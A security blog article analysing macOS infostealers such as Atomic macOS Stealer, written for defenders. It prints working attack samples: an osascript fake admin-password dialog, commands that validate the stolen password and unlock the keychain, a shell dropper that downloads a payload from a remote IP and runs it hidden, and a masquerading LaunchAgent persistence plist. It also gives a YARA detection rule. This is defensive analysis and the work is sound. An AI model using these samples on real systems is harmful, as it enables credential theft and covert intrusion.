Reverse Engineering: macOS Stealer Signatures Under the Microscope

macOS is often considered a safe haven – but the reality is different. macOS stealers such as AMOS (Atomic macOS Stealer) are spreading rapidly, targeting keychain data, crypto wallets, and corporate credentials. This article analyzes typical infection vectors, signatures, and persistence mechanisms from a reverse engineering perspective.

1. The Myth of macOS Invulnerability

For decades, the IT community widely believed that macOS was virtually immune to malware. This perception was largely a byproduct of Apple's lower market share compared to Windows, alongside built-in security controls like Gatekeeper, XProtect, and app sandboxing. However, as MacBooks have become standard issue across B2B spaces – especially among software developers, creative agencies, and executives – the threat landscape has changed dramatically.

Modern cybercriminals have recognized the high value of macOS endpoints. Developer workstations often store plaintext API tokens, SSH keys, source code repositories, and active cloud session cookies. Compromising a single macOS device can serve as a stepping stone to a complete breach of a company's cloud infrastructure. In this environment, infostealers have emerged as the dominant threat actor.

Because work laptops frequently blend professional and personal contexts (such as browser-saved credentials or the iCloud Keychain), info-stealers achieve significant leverage. Consequently, understanding these threats through the lens of reverse engineering is now a vital skill for enterprise security teams.

2. Anatomy of Modern macOS Stealers (AMOS & Co.)

To identify signatures and implement defenses, we must understand the structure of the malware itself. The prime example is the Atomic macOS Stealer (AMOS), which surfaced in early 2023 as a Malware-as-a-Service (MaaS) offering on cybercrime forums. AMOS is continuously updated, showing how easily macOS security walls can be breached by determined actors.

Typically, the malware is delivered as a compressed disk image (.dmg) or installation package (.pkg). Propagation is driven by search engine malvertising, masquerading as popular software like Google Chrome, Notion, Zoom, Arc Browser, or cracked development utilities.

When the victim opens the DMG and launches the installation process, the payload executes. Under the hood, AMOS and its derivatives (such as MacStealer or Realst) are compiled Go or C++ executables embedded in the app's bundle. Inspection of the app bundle reveals the classic macOS application structure:

MaliciousApp.app/
├── Contents/
│   ├── Info.plist
│   ├── MacOS/
│   │   └── MaliciousBinary  <-- The actual stealer executable (Mach-O)
│   └── Resources/
│       └── Assets.car

The executable is a Mach-O binary, frequently compiled as a universal binary supporting both ARM64 and x86_64 architectures to execute natively on Intel and Apple Silicon hardware. During static analysis using tools like otool or a disassembler, analysts look for signatures such as references to browser extension directories (e.g., MetaMask, TronLink IDs) and hardcoded paths to system keychains.

3. Keychain Extraction: Brute-Force and Phishing Prompts

The primary goal of most macOS stealers is harvesting the iCloud Keychain. The local keychain data resides in database files ending in .keychain-db, with the default location at:

~/Library/Keychains/login.keychain-db

This file contains stored passwords, Wi-Fi networks, certificates, and web logins. macOS protects this directory using the TCC (Transparency, Consent, and Control) framework. Sandbox apps and unauthorized third-party binaries cannot read this file without user permission. To bypass TCC, malware developers rely on a combination of social engineering and system APIs.

The malware generates a fake credential dialog via AppleScript (using osascript) designed to mimic a legitimate system prompt. The script blocks user interactions and repeatedly asks for the administrator password:

osascript -e 'display dialog "macOS requires your administrator credentials to complete the system update." default answer "" with title "System Preferences" with icon caution buttons {"Cancel", "Allow"} default button "Allow" with hidden answer'

If the user clicks "Cancel," the dialog is instantly re-spawned in an infinite loop until a password is provided. Once entered, the malware validates the password. It typically does this in the background by trying to execute a privileged task or decrypting the keychain database:

# Validating the credentials in the background
echo "$USER_PASSWORD" | sudo -S -v &>/dev/null

If the validation succeeds, the malware uses the confirmed password to unlock and copy the login.keychain-db file. In reverse engineering reports, we regularly see the malware calling the built-in security CLI tool to export keychain secrets or unlock database files:

security unlock-keychain -p "$USER_PASSWORD" ~/Library/Keychains/login.keychain-db

4. Shell Droppers and Payload Delivery

To avoid detection by static antivirus scanners (such as XProtect), malware authors often keep the initial infection script brief. This is known as a Shell Dropper. It serves as an entry point, fetching the heavily obfuscated main payload from a remote server.

A typical shell dropper uses native macOS commands like curl or wget to retrieve binaries from remote C2 servers or legitimate file-hosting services (e.g., Dropbox or Google Drive). A common AMOS delivery dropper looks like this:

#!/bin/bash
# Minimal shell dropper to fetch second-stage payload
TARGET_DIR="/tmp/.sys_update"
mkdir -p "$TARGET_DIR"
curl -s -L -o "$TARGET_DIR/updater" "http://185.196.220.14/bin/macos_payload"
chmod +x "$TARGET_DIR/updater"
"$TARGET_DIR/updater" &>/dev/null &
rm -f "$0"

Static analysis of this dropper reveals several key defense-evasion methods:

Detecting these droppers in network traffic involves monitoring user-agent signatures. Dropper scripts often use curl's default user-agent (e.g., curl/7.85.0) for external connections, which is rare for standard applications and represents a reliable network signature.

5. macOS Persistence: How Malware Stays Entrenched

Many infostealers are designed for quick execution, stealing credentials and exiting immediately. However, more advanced threats use persistence methods to survive system restarts, establishing long-term access to the host. This strategy is referred to as Malware Persistence.

On macOS, malware typically targets three primary hooks triggered during startup or user login:

A typical persistence mechanism drops a plist file designed to mimic a legitimate system daemon (Masquerading):

~/Library/LaunchAgents/com.apple.systemupdate.plist

The plist file is structured to execute the malware binary on launch and keep it running:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.apple.systemupdate</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>-c</string>
        <string>~/Library/Application Support/.sys_updater/bin -run</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>

The keys RunAtLoad = true and KeepAlive = true tell macOS to run the script as soon as the GUI loads and restart it if it terminates, providing a robust persistence signature.

6. Signature Detection and Analysis for Blue Teams

For blue teams, creating detectable signatures is critical to finding compromises. YARA rules search for specific string patterns or byte sequences inside Mach-O binaries or active processes.

Below is a custom YARA rule targeting AMOS binaries and keychain-theft techniques:

rule macOS_Atomic_Stealer_AMOS {
    meta:
        description = "Detects typical signatures of Atomic macOS Stealer (AMOS) in Mach-O binaries"
        author = "Pragma-Code Security Research"
        date = "2026-07-11"
        version = "1.0"
        reference = "https://www.pragma-code.de/en/blog-macos-stealer-signatures-reverse-engineering"
    
    strings:
        // Core paths and strings
        $s1 = "login.keychain-db" ascii nocase
        $s2 = "osascript -e" ascii
        $s3 = "with icon caution" ascii
        
        // Target crypto wallets IDs and directories
        $w1 = "Library/Application Support/Google/Chrome/Default/Local Extension Settings" ascii
        $w2 = "nkbihfbeogaeaoehlefnkodbefgpgknn" ascii // MetaMask ID
        
        // Exfiltration signatures
        $c1 = "multipart/form-data" ascii
        $c2 = "upload" ascii nocase
        
    condition:
        // Match Mach-O magic numbers and string criteria
        (uint32(0) == 0xfeedfacf or uint32(0) == 0xcefaedfe) and
        (2 of ($s*) and 1 of ($w*) and 1 of ($c*))
}

In addition to static rules, behavioral monitoring is essential to stop zero-day stealers. EDR systems should be configured to flag and block:

7. Conclusion & B2B Security Roadmap

The days of treating macOS security as a low-priority concern are long gone. Infostealer campaigns are highly targeted, bypassing standard OS protections by exploiting the user interface and built-in CLI commands. B2B organizations must harden their macOS setups to counter these evolving techniques.

A resilient macOS security strategy requires a multi-layered defense plan:

1. Deploy MDM Controls

   Use Mobile Device Management (MDM) profiles to enforce gatekeeper rules, restrict shell scripting permissions, and prevent unauthorized apps from running.

2. Enforce macOS EDR Monitoring

   Deploy EDR platforms optimized for macOS, leveraging behavioral signatures to catch real-time execution anomalies rather than relying on static file hashes.

3. Transition to Zero Trust & Passkeys

   Train employees to identify abnormal credentials prompts and adopt passwordless authentication, making phishing attempts obsolete.

Our Regional Expertise

We are your digital partner – regionally anchored and successfully scaling across borders.

Start a project request in your region →

IT Solutions BerlinIT Solutions HamburgIT Solutions MünchenIT Solutions KölnIT Solutions Frankfurt am MainIT Solutions StuttgartIT Solutions DüsseldorfIT Solutions LeipzigIT Solutions DortmundIT Solutions EssenIT Solutions BremenIT Solutions HannoverIT Solutions NürnbergIT Solutions WienIT Solutions GrazIT Solutions LinzIT Solutions SalzburgIT Solutions ZürichIT Solutions GenfIT Solutions BaselIT Solutions Bern

Extended Specialized Glossary